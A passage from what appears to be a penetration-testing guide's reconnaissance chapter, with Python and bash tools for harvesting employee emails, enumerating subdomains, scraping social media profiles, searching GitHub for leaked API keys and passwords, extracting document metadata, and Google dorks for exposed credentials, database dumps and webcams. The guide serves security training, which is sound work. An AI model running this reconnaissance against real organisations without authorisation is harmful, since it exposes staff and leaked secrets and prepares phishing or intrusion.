requires authentication for many requests\n            response = requests.get(url, headers=headers, timeout=5)\n            \n            if response.status_code == 200:\n                data = response.json()\n                for item in data.get('items', []):\n                    # Fetch file content\n                    file_url = item['html_url'].replace('github.com', 'raw.githubusercontent.com').replace('/blob/', '/')\n                    file_response = requests.get(file_url, timeout=5)\n                    if file_response.status_code == 200:\n                        self.extract_emails_from_text(file_response.text, f'github:{item[\"repository\"][\"full_name\"]}')\n        except Exception as e:\n            print(f\"  Error: {e}\")\n    \n    def query_common_sources(self):\n        \"\"\"Query common email sources\"\"\"\n        \n        # Common company email formats\n        formats = [\n            f\"*@{self.target}\",\n            f\"*@*.{self.target}\",\n            f\"*@mail.{self.target}\"\n        ]\n        \n        # Search engines\n        for fmt in formats:\n            self.search_google(f'\"{fmt}\"', pages=3)\n        \n        # PGP servers\n        self.query_pgp_servers(self.target)\n        \n        # GitHub\n        self.query_github(self.target)\n    \n    def check_email_breaches(self, email):\n        \"\"\"Check if email appears in known breaches (requires HaveIBeenPwned API)\"\"\"\n        # This would use HIBP API with proper authentication\n        pass\n    \n    def generate_report(self):\n        \"\"\"Generate email harvest report\"\"\"\n        print(\"\\n\" + \"=\"*60)\n        print(f\"EMAIL HARVEST REPORT: {self.target}\")\n        print(\"=\"*60)\n        \n        emails_list = sorted(list(self.emails))\n        print(f\"\\n[+] Total unique emails found: {len(emails_list)}\")\n        \n        # Group by domain\n        domains = {}\n        for email in emails_list:\n            domain = email.split('@')[1]\n            if domain not in domains:\n                domains[domain] = []\n            domains[domain].append(email)\n        \n        print(\"\\n[+] Emails by domain:\")\n        for domain, domain_emails in domains.items():\n            print(f\"  {domain}: {len(domain_emails)} emails\")\n        \n        print(\"\\n[+] All emails (first 50):\")\n        for email in emails_list[:50]:\n            sources = []\n            for src, src_emails in self.results['sources'].items():\n                if email in src_emails:\n                    sources.append(src)\n            print(f\"  {email} [{', '.join(sources[:2])}]\")\n        \n        if len(emails_list) &gt; 50:\n            print(f\"  ... and {len(emails_list)-50} more\")\n        \n        print(\"\\n[+] Sources summary:\")\n        for source, emails in self.results['sources'].items():\n            print(f\"  {source}: {len(emails)} emails\")\n        \n        print(\"\\n\" + \"=\"*60)\n    \n    def save_results(self, filename):\n        \"\"\"Save results to file\"\"\"\n        self.results['emails'] = sorted(list(self.emails))\n        self.results['total'] = len(self.emails)\n        self.results['urls_visited'] = list(self.urls_visited)\n        \n        with open(filename, 'w') as f:\n            json.dump(self.results, f, indent=2)\n        \n        # Also save plain text list\n        txt_file = filename.replace('.json', '.txt')\n        with open(txt_file, 'w') as f:\n            for email in sorted(list(self.emails)):\n                f.write(f\"{email}\\n\")\n        \n        print(f\"\\n[+] Results saved to {filename} and {txt_file}\")\n    \n    def harvest(self):\n        \"\"\"Run all harvesting techniques\"\"\"\n        print(f\"[+] Starting email harvest for {self.target}\")\n        \n        # Query common sources\n        self.query_common_sources()\n        \n        # Crawl website if it exists\n        try:\n            if not self.target.startswith('http'):\n                website = f\"https://{self.target}\"\n            else:\n                website = self.target\n            \n            self.crawl_website(website, max_pages=30)\n        except Exception as e:\n            print(f\"  Error crawling website: {e}\")\n        \n        self.generate_report()\n\n# Command-line interface\nif __name__ == \"__main__\":\n    if len(sys.argv) &lt; 2:\n        print(\"Usage: email_harvester.py  [output_file]\")\n        print(\"Example: email_harvester.py example.com results.json\")\n        sys.exit(1)\n    \n    target = sys.argv[1]\n    output = sys.argv[2] if len(sys.argv) &gt; 2 else f\"{target}_emails.json\"\n    \n    harvester = EmailHarvester(target)\n    harvester.harvest()\n    harvester.save_results(output)\n```\n\n#### 8.4.2 Advanced Email Discovery\n\n**Hunter.io Integration**:\n\n```python\n# hunter_io_api.py\nimport requests\nimport sys\n\ndef hunter_search(domain, api_key):\n    \"\"\"Search Hunter.io for emails\"\"\"\n    url = f\"https://api.hunter.io/v2/domain-search\"\n    params = {\n        'domain': domain,\n        'api_key': api_key\n    }\n    \n    try:\n        response = requests.get(url, params=params)\n        if response.status_code == 200:\n            data = response.json()\n            emails = data.get('data', {}).get('emails', [])\n            \n            print(f\"\\n[+] Hunter.io found {len(emails)} emails:\")\n            for email in emails:\n                print(f\"  {email['value']} - {email.get('position', 'N/A')}\")\n                \n            return emails\n    except Exception as e:\n        print(f\"Error: {e}\")\n    \n    return []\n\n# Usage would require API key\n```\n\n**Email Pattern Analysis**:\n\n```python\n# email_patterns.py\n\ndef analyze_email_patterns(emails):\n    \"\"\"Analyze email naming patterns\"\"\"\n    patterns = {\n        'first.last': [],\n        'first_last': [],\n        'first.last_initial': [],\n        'firstinitial.last': [],\n        'first': [],\n        'other': []\n    }\n    \n    for email in emails:\n        if '@' not in email:\n            continue\n        \n        local = email.split('@')[0]\n        \n        if '.' in local and len(local.split('.')) == 2:\n            first, last = local.split('.')\n            if len(first) &gt; 1 and len(last) &gt; 1:\n                patterns['first.last'].append(email)\n        elif '_' in local and len(local.split('_')) == 2:\n            patterns['first_last'].append(email)\n        elif '.' in local and len(local.split('.')) == 2 and len(local.split('.')[0]) == 1:\n            patterns['firstinitial.last'].append(email)\n        else:\n            patterns['other'].append(email)\n    \n    return patterns\n```\n\n### 8.5 Subdomain Discovery\n\nSubdomains reveal additional attack surfaces and often host development, staging, or forgotten applications.\n\n#### 8.5.1 Subdomain Discovery Techniques\n\n**Certificate Transparency Logs**:\n\n```python\n#!/usr/bin/env python3\n# ct_logs.py\n\nimport requests\nimport json\nimport sys\n\ndef query_crtsh(domain):\n    \"\"\"Query crt.sh Certificate Transparency logs\"\"\"\n    url = f\"https://crt.sh/?q=%.{domain}&amp;output=json\"\n    \n    try:\n        response = requests.get(url, timeout=10)\n        if response.status_code == 200:\n            data = response.json()\n            subdomains = set()\n            \n            for entry in data:\n                name = entry.get('name_value', '')\n                if name:\n                    # Handle multiple names in one entry\n                    for n in name.split('\\n'):\n                        n = n.strip()\n                        if n.endswith(f\".{domain}\") or n == domain:\n                            subdomains.add(n.lower())\n            \n            return sorted(subdomains)\n    except Exception as e:\n        print(f\"Error querying crt.sh: {e}\")\n    \n    return []\n\ndef query_certspotter(domain):\n    \"\"\"Query CertSpotter API\"\"\"\n    url = f\"https://api.certspotter.com/v1/issuances\"\n    params = {\n        'domain': domain,\n        'include_subdomains': 'true',\n        'expand': 'dns_names'\n    }\n    \n    try:\n        response = requests.get(url, params=params)\n        if response.status_code == 200:\n            data = response.json()\n            subdomains = set()\n            \n            for cert in data:\n                for name in cert.get('dns_names', []):\n                    if name.endswith(f\".{domain}\"):\n                        subdomains.add(name.lower())\n            \n            return sorted(subdomains)\n    except Exception as e:\n        print(f\"Error querying CertSpotter: {e}\")\n    \n    return []\n\nif __name__ == \"__main__\":\n    if len(sys.argv) &lt; 2:\n        print(\"Usage: ct_logs.py \")\n        sys.exit(1)\n    \n    domain = sys.argv[1]\n    \n    print(f\"[+] Querying Certificate Transparency logs for {domain}\")\n    \n    crtsh = query_crtsh(domain)\n    print(f\"\\ncrt.sh found {len(crtsh)} subdomains\")\n    \n    certspotter = query_certspotter(domain)\n    print(f\"CertSpotter found {len(certspotter)} subdomains\")\n    \n    all_subs = sorted(set(crtsh + certspotter))\n    print(f\"\\nTotal unique subdomains: {len(all_subs)}\")\n    \n    if all_subs:\n        print(\"\\nSample subdomains:\")\n        for sub in all_subs[:20]:\n            print(f\"  {sub}\")\n```\n\n**DNS Brute Forcing**:\n\n```python\n#!/usr/bin/env python3\n# subdomain_brute.py\n\nimport dns.resolver\nimport sys\nimport json\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\nimport time\n\nclass SubdomainBruteforcer:\n    def __init__(self, domain, threads=50, dns_server='8.8.8.8'):\n        self.domain = domain\n        self.threads = threads\n        self.resolver = dns.resolver.Resolver()\n        self.resolver.nameservers = [dns_server]\n        self.resolver.timeout = 2\n        self.resolver.lifetime = 2\n        self.found = []\n        \n    def check_subdomain(self, sub):\n        \"\"\"Check if subdomain resolves\"\"\"\n        target = f\"{sub}.{self.domain}\"\n        try:\n            answers = self.resolver.resolve(target, 'A')\n            if answers:\n                ips = [str(a) for a in answers]\n                return {'subdomain': target, 'ips': ips, 'type': 'A'}\n        except dns.resolver.NXDOMAIN:\n            pass\n        except dns.resolver.NoAnswer:\n            # Try CNAME\n            try:\n                answers = self.resolver.resolve(target, 'CNAME')\n                if answers:\n                    cname = str(answers[0])\n                    return {'subdomain': target, 'cname': cname, 'type': 'CNAME'}\n            except:\n                pass\n        except Exception as e:\n            pass\n        return None\n    \n    def brute_force(self, wordlist_file, output_file=None):\n        \"\"\"Run brute force with wordlist\"\"\"\n        print(f\"[+] Starting subdomain brute force for {self.domain}\")\n        print(f\"[+] Using {self.threads} threads\")\n        \n        try:\n            with open(wordlist_file, 'r') as f:\n                subdomains = [line.strip() for line in f if line.strip()]\n        except FileNotFoundError:\n            print(f\"Wordlist not found: {wordlist_file}\")\n            return []\n        \n        total = len(subdomains)\n        print(f\"[+] Loaded {total} subdomains to check\")\n        \n        start_time = time.time()\n        \n        with ThreadPoolExecutor(max_workers=self.threads) as executor:\n            future_to_sub = {executor.submit(self.check_subdomain, sub): sub for sub in subdomains}\n            \n            for i, future in enumerate(as_completed(future_to_sub), 1):\n                result = future.result()\n                if result:\n                    self.found.append(result)\n                    print(f\"  Found: {result['subdomain']}\")\n                \n                if i % 1000 == 0:\n                    elapsed = time.time() - start_time\n                    rate = i / elapsed\n                    print(f\"[+] Progress: {i}/{total} ({i/total*100:.1f}%) - {rate:.1f} queries/sec\")\n        \n        elapsed = time.time() - start_time\n        print(f\"\\n[+] Brute force completed in {elapsed:.1f} seconds\")\n        print(f\"[+] Found {len(self.found)} subdomains\")\n        \n        if output_file:\n            self.save_results(output_file)\n        \n        return self.found\n    \n    def save_results(self, filename):\n        \"\"\"Save results to file\"\"\"\n        with open(filename, 'w') as f:\n            json.dump({\n                'domain': self.domain,\n                'found': self.found,\n                'count': len(self.found)\n            }, f, indent=2)\n        \n        # Save plain text list\n        txt_file = filename.replace('.json', '.txt')\n        with open(txt_file, 'w') as f:\n            for item in self.found:\n                f.write(f\"{item['subdomain']}\\n\")\n        \n        print(f\"[+] Results saved to {filename} and {txt_file}\")\n    \n    def resolve_all(self):\n        \"\"\"Resolve all found subdomains to IPs\"\"\"\n        for item in self.found:\n            if 'ips' not in item:\n                try:\n                    answers = self.resolver.resolve(item['subdomain'], 'A')\n                    item['ips'] = [str(a) for a in answers]\n                except:\n                    item['ips'] = []\n\nif __name__ == \"__main__\":\n    if len(sys.argv) &lt; 3:\n        print(\"Usage: subdomain_brute.py   [output_file]\")\n        print(\"Example: subdomain_brute.py example.com /usr/share/wordlists/dns/subdomains.txt\")\n        sys.exit(1)\n    \n    domain = sys.argv[1]\n    wordlist = sys.argv[2]\n    output = sys.argv[3] if len(sys.argv) &gt; 3 else f\"{domain}_subdomains.json\"\n    \n    bruteforcer = SubdomainBruteforcer(domain, threads=100)\n    bruteforcer.brute_force(wordlist, output)\n```\n\n#### 8.5.2 Subdomain Discovery Tools\n\n**Amass**:\n\n```bash\n# Install Amass\napt install amass\n\n# Basic enumeration\namass enum -d example.com\n\n# Passive mode (no direct connections)\namass enum -passive -d example.com\n\n# Active mode (includes brute forcing)\namass enum -active -d example.com\n\n# Use all sources\namass enum -d example.com -config /etc/amass/config.ini\n\n# Output formats\namass enum -d example.com -o subs.txt\namass enum -d example.com -json output.json\namass enum -d example.com -oA example_amass\n\n# Visualize results\namass viz -d example.com -o example_amass.html\n```\n\n**Subfinder**:\n\n```bash\n# Install subfinder\napt install subfinder\n\n# Basic usage\nsubfinder -d example.com\n\n# Silent mode (just subdomains)\nsubfinder -d example.com -silent\n\n# Use all sources\nsubfinder -d example.com -all\n\n# Output to file\nsubfinder -d example.com -o subs.txt\n\n# Recursive enumeration\nsubfinder -d example.com -recursive\n```\n\n**Assetfinder**:\n\n```bash\n# Install assetfinder\ngo install github.com/tomnomnom/assetfinder@latest\n\n# Basic usage\nassetfinder example.com\n\n# Only include subdomains\nassetfinder --subs-only example.com\n```\n\n**Comprehensive Subdomain Discovery**:\n\n```bash\n#!/bin/bash\n# subdomain_mega.sh\n\ndomain=\"$1\"\noutput_dir=\"subdomain_scan_$(date +%Y%m%d)\"\n\nif [ -z \"$domain\" ]; then\n    echo \"Usage: $0 \"\n    exit 1\nfi\n\nmkdir -p \"$output_dir\"\n\necho \"[+] Starting comprehensive subdomain discovery for $domain\"\n\n# Certificate Transparency logs\necho \"[*] Querying crt.sh...\"\ncurl -s \"https://crt.sh/?q=%.$domain&amp;output=json\" | jq -r '.[].name_value' | grep -v '*' | sort -u &gt; \"$output_dir/crtsh.txt\"\n\n# Amass passive\necho \"[*] Running Amass passive...\"\namass enum -passive -d \"$domain\" -o \"$output_dir/amass_passive.txt\"\n\n# Subfinder\necho \"[*] Running Subfinder...\"\nsubfinder -d \"$domain\" -silent &gt; \"$output_dir/subfinder.txt\"\n\n# Assetfinder\necho \"[*] Running Assetfinder...\"\nassetfinder --subs-only \"$domain\" &gt; \"$output_dir/assetfinder.txt\"\n\n# Combine all results\ncat \"$output_dir\"/*.txt | sort -u &gt; \"$output_dir/all_subs.txt\"\n\n# Resolve subdomains\necho \"[*] Resolving subdomains...\"\nwhile read sub; do\n    ip=$(dig +short \"$sub\" A | head -1)\n    if [ ! -z \"$ip\" ]; then\n        echo \"$sub -&gt; $ip\" &gt;&gt; \"$output_dir/resolved.txt\"\n    fi\ndone &lt; \"$output_dir/all_subs.txt\"\n\n# HTTP/HTTPS check\necho \"[*] Checking for web servers...\"\nwhile read sub; do\n    for proto in http https; do\n        curl -s -o /dev/null -w \"%{http_code}\" \"$proto://$sub\" 2&gt;/dev/null | grep -q \"200\\|301\\|302\\|401\\|403\"\n        if [ $? -eq 0 ]; then\n            echo \"$proto://$sub\" &gt;&gt; \"$output_dir/webservers.txt\"\n        fi\n    done\ndone &lt; \"$output_dir/all_subs.txt\"\n\necho \"[+] Subdomain discovery complete!\"\necho \"    Total subdomains: $(wc -l &lt; \"$output_dir/all_subs.txt\")\"\necho \"    Resolved: $(wc -l &lt; \"$output_dir/resolved.txt\")\"\necho \"    Web servers: $(wc -l &lt; \"$output_dir/webservers.txt\")\"\necho \"    Results in: $output_dir\"\n```\n\n### 8.6 Social Media Intelligence\n\nSocial media platforms are rich sources of information about organizations and individuals.\n\n#### 8.6.1 LinkedIn Intelligence\n\n**LinkedIn Data Extraction**:\n\n```python\n#!/usr/bin/env python3\n# linkedin_osint.py\n\nimport requests\nimport json\nimport sys\nimport time\nfrom bs4 import BeautifulSoup\n\nclass LinkedInOSINT:\n    def __init__(self, company_name):\n        self.company = company_name\n        self.employees = []\n        \n    def search_company(self):\n        \"\"\"Search for company on LinkedIn\"\"\"\n        # Note: LinkedIn has strict anti-scraping measures\n        # This is a simplified example using public data\n        search_url = f\"https://www.linkedin.com/company/{self.company.replace(' ', '-').lower()}\"\n        \n        headers = {\n            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'\n        }\n        \n        try:\n            response = requests.get(search_url, headers=headers)\n            if response.status_code == 200:\n                soup = BeautifulSoup(response.text, 'html.parser')\n                \n                # Extract company info\n                info = {}\n                \n                # This would need to be adapted based on LinkedIn's current HTML\n                # and would likely require authentication\n                \n                return info\n        except Exception as e:\n            print(f\"Error: {e}\")\n        \n        return {}\n    \n    def extract_employee_patterns(self):\n        \"\"\"Analyze employee naming patterns\"\"\"\n        # Common patterns for company emails\n        patterns = [\n            \"first.last@company.com\",\n            \"first_last@company.com\",\n            \"firstl@company.com\",\n            \"first.last@company.com\",\n            \"flast@company.com\"\n        ]\n        \n        # If we had employee names, we could generate potential emails\n        return patterns\n\n# Alternative: Use LinkedIn API (requires application registration)\n```\n\n**Using LinkedIn for OSINT**:\n\n```bash\n# Tools like linkedin2username (requires account)\ngit clone https://github.com/initstring/linkedin2username.git\ncd linkedin2username\npip3 install -r requirements.txt\n\n# Generate username list for company\npython3 linkedin2username.py -c \"Company Name\" -d domain.com\n\n# Sherlock for username enumeration\napt install sherlock\nsherlock username\n```\n\n#### 8.6.2 Twitter Intelligence\n\n**Twitter OSINT Collection**:\n\n```python\n#!/usr/bin/env python3\n# twitter_osint.py\n\nimport requests\nimport json\nimport sys\nimport time\n\nclass TwitterOSINT:\n    def __init__(self, target):\n        self.target = target\n        self.tweets = []\n        \n    def search_twitter(self, query):\n        \"\"\"Search Twitter for mentions\"\"\"\n        # Using Twitter API v2 (requires API keys)\n        # This is a placeholder for the actual API call\n        \n        bearer_token = \"YOUR_BEARER_TOKEN\"\n        \n        url = \"https://api.twitter.com/2/tweets/search/recent\"\n        params = {\n            'query': query,\n            'max_results': 100,\n            'tweet.fields': 'created_at,public_metrics,entities'\n        }\n        \n        headers = {\n            'Authorization': f'Bearer {bearer_token}'\n        }\n        \n        try:\n            response = requests.get(url, params=params, headers=headers)\n            if response.status_code == 200:\n                return response.json()\n        except Exception as e:\n            print(f\"Error: {e}\")\n        \n        return {}\n    \n    def extract_metadata(self):\n        \"\"\"Extract metadata from tweets\"\"\"\n        # Analyze tweet patterns, hashtags, mentions\n        pass\n\n# Alternative: Use twint (no API required)\n# pip3 install twint\n```\n\n**Twint for Twitter OSINT**:\n\n```bash\n# Install twint\npip3 install twint\n\n# Search tweets from a user\ntwint -u username\n\n# Search for tweets containing a term\ntwint -s \"company name\" --since 2024-01-01\n\n# Get user followers\ntwint -u username --followers\n\n# Get user following\ntwint -u username --following\n\n# Export to CSV\ntwint -u username -o tweets.csv --csv\n```\n\n#### 8.6.3 GitHub Intelligence\n\n**GitHub Code Search**:\n\n```python\n#!/usr/bin/env python3\n# github_osint.py\n\nimport requests\nimport json\nimport sys\nimport base64\n\nclass GitHubOSINT:\n    def __init__(self, target, token=None):\n        self.target = target\n        self.token = token\n        self.base_url = \"https://api.github.com\"\n        self.headers = {}\n        \n        if token:\n            self.headers['Authorization'] = f'token {token}'\n        self.headers['Accept'] = 'application/vnd.github.v3+json'\n        \n    def search_code(self, query):\n        \"\"\"Search for code containing target information\"\"\"\n        url = f\"{self.base_url}/search/code\"\n        params = {\n            'q': query,\n            'per_page': 100\n        }\n        \n        try:\n            response = requests.get(url, params=params, headers=self.headers)\n            if response.status_code == 200:\n                return response.json()\n            elif response.status_code == 403:\n                print(\"Rate limit exceeded\")\n        except Exception as e:\n            print(f\"Error: {e}\")\n        \n        return {}\n    \n    def search_email_patterns(self):\n        \"\"\"Search for email addresses\"\"\"\n        queries = [\n            f'\"{self.target}\" email',\n            f'@{self.target}',\n            f'\"{self.target}\" .com'\n        ]\n        \n        results = []\n        for query in queries:\n            data = self.search_code(query)\n            if data and 'items' in data:\n                results.extend(data['items'])\n        \n        return results\n    \n    def search_api_keys(self):\n        \"\"\"Search for exposed API keys\"\"\"\n        patterns = [\n            f'\"{self.target}\" api_key',\n            f'\"{self.target}\" secret',\n            f'\"{self.target}\" password',\n            f'\"{self.target}\" token'\n        ]\n        \n        results = []\n        for pattern in patterns:\n            data = self.search_code(pattern)\n            if data and 'items' in data:\n                results.extend(data['items'])\n        \n        return results\n    \n    def get_file_content(self, url):\n        \"\"\"Get content of a file\"\"\"\n        try:\n            response = requests.get(url, headers=self.headers)\n            if response.status_code == 200:\n                content = response.json()\n                if 'content' in content:\n                    return base64.b64decode(content['content']).decode('utf-8', errors='ignore')\n        except:\n            pass\n        return None\n    \n    def analyze_repositories(self):\n        \"\"\"Find repositories related to target\"\"\"\n        url = f\"{self.base_url}/search/repositories\"\n        params = {\n            'q': self.target,\n            'sort': 'stars',\n            'order': 'desc'\n        }\n        \n        try:\n            response = requests.get(url, params=params, headers=self.headers)\n            if response.status_code == 200:\n                return response.json()\n        except Exception as e:\n            print(f\"Error: {e}\")\n        \n        return {}\n    \n    def find_user_repos(self, username):\n        \"\"\"Find repositories by a specific user\"\"\"\n        url = f\"{self.base_url}/users/{username}/repos\"\n        params = {\n            'per_page': 100,\n            'sort': 'updated'\n        }\n        \n        try:\n            response = requests.get(url, params=params, headers=self.headers)\n            if response.status_code == 200:\n                return response.json()\n        except Exception as e:\n            print(f\"Error: {e}\")\n        \n        return {}\n\n# Usage example\nif __name__ == \"__main__\":\n    if len(sys.argv) &lt; 2:\n        print(\"Usage: github_osint.py  [github_token]\")\n        sys.exit(1)\n    \n    target = sys.argv[1]\n    token = sys.argv[2] if len(sys.argv) &gt; 2 else None\n    \n    gh = GitHubOSINT(target, token)\n    \n    print(f\"[+] Searching GitHub for {target}\")\n    \n    # Search for emails\n    emails = gh.search_email_patterns()\n    print(f\"\\nFound {len(emails)} potential email matches\")\n    \n    # Search for API keys\n    keys = gh.search_api_keys()\n    print(f\"Found {len(keys)} potential credential matches\")\n    \n    # Find repositories\n    repos = gh.analyze_repositories()\n    if repos and 'items' in repos:\n        print(f\"\\nTop repositories:\")\n        for repo in repos['items'][:5]:\n            print(f\"  {repo['full_name']} - {repo['html_url']}\")\n```\n\n### 8.7 Metadata Analysis\n\nMetadata embedded in files can reveal sensitive information about an organization.\n\n#### 8.7.1 File Metadata Extraction\n\n**ExifTool**:\n\n```bash\n# Install exiftool\napt install exiftool\n\n# Extract metadata from image\nexiftool image.jpg\n\n# Extract all metadata from PDF\nexiftool -a -u document.pdf\n\n# Extract GPS coordinates\nexiftool -gps* image.jpg\n\n# Extract metadata from multiple files\nexiftool -r -ext jpg -ext png directory/\n\n# Output as CSV\nexiftool -csv *.jpg &gt; metadata.csv\n```\n\n**Metadata Extraction Script**:\n\n```python\n#!/usr/bin/env python3\n# metadata_extractor.py\n\nimport os\nimport sys\nimport json\nimport subprocess\nfrom datetime import datetime\n\nclass MetadataExtractor:\n    def __init__(self, target_dir):\n        self.target_dir = target_dir\n        self.results = {}\n        \n    def extract_with_exiftool(self, filepath):\n        \"\"\"Extract metadata using exiftool\"\"\"\n        try:\n            result = subprocess.run(\n                ['exiftool', '-json', filepath],\n                capture_output=True,\n                text=True\n            )\n            if result.returncode == 0:\n                return json.loads(result.stdout)[0]\n        except Exception as e:\n            print(f\"Error with exiftool on {filepath}: {e}\")\n        return {}\n    \n    def extract_pdf_metadata(self, filepath):\n        \"\"\"Extract PDF-specific metadata\"\"\"\n        metadata = {}\n        \n        # Try pdfinfo\n        try:\n            result = subprocess.run(\n                ['pdfinfo', filepath],\n                capture_output=True,\n                text=True\n            )\n            if result.returncode == 0:\n                for line in result.stdout.split('\\n'):\n                    if ':' in line:\n                        key, value = line.split(':', 1)\n                        metadata[key.strip()] = value.strip()\n        except:\n            pass\n        \n        return metadata\n    \n    def extract_doc_metadata(self, filepath):\n        \"\"\"Extract Office document metadata\"\"\"\n        metadata = {}\n        \n        # Try exiftool first (works for Office docs)\n        metadata.update(self.extract_with_exiftool(filepath))\n        \n        return metadata\n    \n    def analyze_file(self, filepath):\n        \"\"\"Analyze a single file\"\"\"\n        ext = os.path.splitext(filepath)[1].lower()\n        \n        metadata = {\n            'file': filepath,\n            'size': os.path.getsize(filepath),\n            'modified': datetime.fromtimestamp(os.path.getmtime(filepath)).isoformat(),\n            'created': datetime.fromtimestamp(os.path.getctime(filepath)).isoformat()\n        }\n        \n        # Extract based on file type\n        if ext in ['.jpg', '.jpeg', '.png', '.gif', '.tiff']:\n            metadata.update(self.extract_with_exiftool(filepath))\n            \n            # Extract GPS if available\n            if 'GPSLatitude' in metadata:\n                print(f\"  [!] GPS found in {filepath}\")\n                \n        elif ext == '.pdf':\n            metadata.update(self.extract_pdf_metadata(filepath))\n            metadata.update(self.extract_with_exiftool(filepath))\n            \n        elif ext in ['.doc', '.docx', '.xls', '.xlsx', '.ppt', '.pptx']:\n            metadata.update(self.extract_doc_metadata(filepath))\n            \n            # Look for author info\n            if 'Author' in metadata:\n                print(f\"  [!] Author: {metadata['Author']} in {filepath}\")\n        \n        return metadata\n    \n    def scan_directory(self):\n        \"\"\"Scan directory for files\"\"\"\n        sensitive_findings = []\n        \n        for root, dirs, files in os.walk(self.target_dir):\n            for file in files:\n                filepath = os.path.join(root, file)\n                print(f\"[*] Analyzing: {filepath}\")\n                \n                metadata = self.analyze_file(filepath)\n                self.results[filepath] = metadata\n                \n                # Check for sensitive metadata\n                sensitive = self.check_sensitive_metadata(metadata)\n                if sensitive:\n                    sensitive_findings.append({\n                        'file': filepath,\n                        'findings': sensitive\n                    })\n        \n        return sensitive_findings\n    \n    def check_sensitive_metadata(self, metadata):\n        \"\"\"Check for sensitive metadata\"\"\"\n        sensitive = []\n        \n        sensitive_fields = [\n            'Author', 'Creator', 'Producer', 'LastModifiedBy',\n            'Company', 'Manager', 'User', 'GPSLatitude', 'GPSLongitude',\n            'Email', 'Phone', 'Address', 'URL'\n        ]\n        \n        for field in sensitive_fields:\n            if field in metadata and metadata[field]:\n                sensitive.append({\n                    'field': field,\n                    'value': metadata[field]\n                })\n        \n        return sensitive\n    \n    def save_results(self, filename):\n        \"\"\"Save results to file\"\"\"\n        with open(filename, 'w') as f:\n            json.dump(self.results, f, indent=2, default=str)\n        \n        # Also save sensitive findings separately\n        sensitive = {}\n        for filepath, metadata in self.results.items():\n            findings = self.check_sensitive_metadata(metadata)\n            if findings:\n                sensitive[filepath] = findings\n        \n        if sensitive:\n            sens_file = filename.replace('.json', '_sensitive.json')\n            with open(sens_file, 'w') as f:\n                json.dump(sensitive, f, indent=2, default=str)\n            print(f\"\\n[!] Sensitive findings saved to {sens_file}\")\n        \n        print(f\"\\n[+] Results saved to {filename}\")\n\nif __name__ == \"__main__\":\n    if len(sys.argv) &lt; 2:\n        print(\"Usage: metadata_extractor.py  [output_file]\")\n        sys.exit(1)\n    \n    target_dir = sys.argv[1]\n    output = sys.argv[2] if len(sys.argv) &gt; 2 else f\"metadata_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json\"\n    \n    extractor = MetadataExtractor(target_dir)\n    print(f\"[+] Scanning directory: {target_dir}\")\n    \n    sensitive = extractor.scan_directory()\n    \n    if sensitive:\n        print(f\"\\n[!] Found {len(sensitive)} files with sensitive metadata\")\n        for item in sensitive:\n            print(f\"  {item['file']}\")\n            for finding in item['findings']:\n                print(f\"    - {finding['field']}: {finding['value']}\")\n    else:\n        print(\"\\n[+] No sensitive metadata found\")\n    \n    extractor.save_results(output)\n```\n\n#### 8.7.2 Document Metadata Tools\n\n**FOCA** (Fingerprinting Organizations with Collected Archives):\n- Windows tool for metadata analysis\n- Extracts metadata from Office documents, PDFs, and more\n- Can search for documents on websites\n\n**Metagoofil**:\n\n```bash\n# Install metagoofil\napt install metagoofil\n\n# Search and download documents from a domain\nmetagoofil -d example.com -t pdf,doc,xls -l 100 -o results\n\n# Extract metadata from downloaded documents\nmetagoofil -d example.com -t pdf -l 50 -n 10 -o output -f results.html\n```\n\n### 8.8 Google Dorking\n\nGoogle Dorking (Google hacking) uses advanced search operators to find sensitive information indexed by search engines.\n\n#### 8.8.1 Google Search Operators\n\n**Basic Operators**:\n\n```bash\n# Site-specific search\nsite:example.com\n\n# Exact phrase\n\"exact phrase\"\n\n# File type\nfiletype:pdf\next:docx\n\n# Title search\nintitle:\"index of\"\nallintitle:login admin\n\n# URL search\ninurl:admin\nallinurl:wp-admin\n\n# Text in body\nintext:\"password\"\nintext:\"confidential\"\n\n# Related sites\nrelated:example.com\n\n# Cache\ncache:example.com\n\n# Link to site\nlink:example.com\n\n# Define term\ndefine:phishing\n```\n\n**Advanced Combinations**:\n\n```bash\n# Find login pages\nsite:example.com inurl:login | inurl:admin\n\n# Find exposed directories\nintitle:\"index of\" site:example.com\n\n# Find configuration files\nsite:example.com filetype:xml | filetype:conf | filetype:config\n\n# Find database dumps\nsite:example.com filetype:sql \"INSERT INTO\"\n\n# Find backup files\nsite:example.com ext:bak | ext:old | ext:backup\n\n# Find exposed documents\nsite:example.com ext:pdf | ext:doc | ext:xls confidential\n\n# Find error messages\nsite:example.com \"Fatal error\" | \"Warning\" | \"Parse error\"\n\n# Find login credentials\nsite:example.com intext:\"username\" intext:\"password\"\n\n# Find network devices\nintitle:\"Cisco Switch\" | \"HP LaserJet\" | \"Dell DRAC\"\n\n# Find webcams\ninurl:view/view.shtml\nintitle:\"Live View / - AXIS\"\n```\n\n#### 8.8.2 Google Dorking Automation\n\n```python\n#!/usr/bin/env python3\n# google_dorking.py\n\nimport requests\nimport time\nimport sys\nimport urllib.parse\nfrom bs4 import BeautifulSoup\n\nclass GoogleDorker:\n    def __init__(self, domain):\n        self.domain = domain\n        self.results = {}\n        self.headers = {\n            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'\n        }\n        \n    def build_query(self, operator, term):\n        \"\"\"Build Google search query\"\"\"\n        if operator == 'site':\n            return f\"site:{self.domain} {term}\"\n        elif operator == 'filetype':\n            return f\"site:{self.domain} filetype:{term}\"\n        elif operator == 'intitle':\n            return f\"site:{self.domain} intitle:{term}\"\n        elif operator == 'inurl':\n            return f\"site:{self.domain} inurl:{term}\"\n        elif operator == 'intext':\n            return f\"site:{self.domain} intext:{term}\"\n        else:\n            return f\"site:{self.domain} {term}\"\n    \n    def search(self, query, pages=3):\n        \"\"\"Perform Google search (simplified)\"\"\"\n        all_results = []\n        \n        for page in range(pages):\n            start = page * 10\n            url = f\"https://www.google.com/search?q={urllib.parse.quote(query)}&amp;start={start}\"\n            \n            try:\n                response = requests.get(url, headers=self.headers, timeout=5)\n                if response.status_code == 200:\n                    soup = BeautifulSoup(response.text, 'html.parser')\n                    \n                    # Extract search results (simplified)\n                    for result in soup.find_all('div', class_='g'):\n                        link = result.find('a')\n                        if link and 'href' in link.attrs:\n                            href = link['href']\n                            if '/url?q=' in href:\n                                url = href.split('/url?q=')[1].split('&amp;')[0]\n                                title = result.find('h3')\n                                title_text = title.text if title else 'No title'\n                                \n                                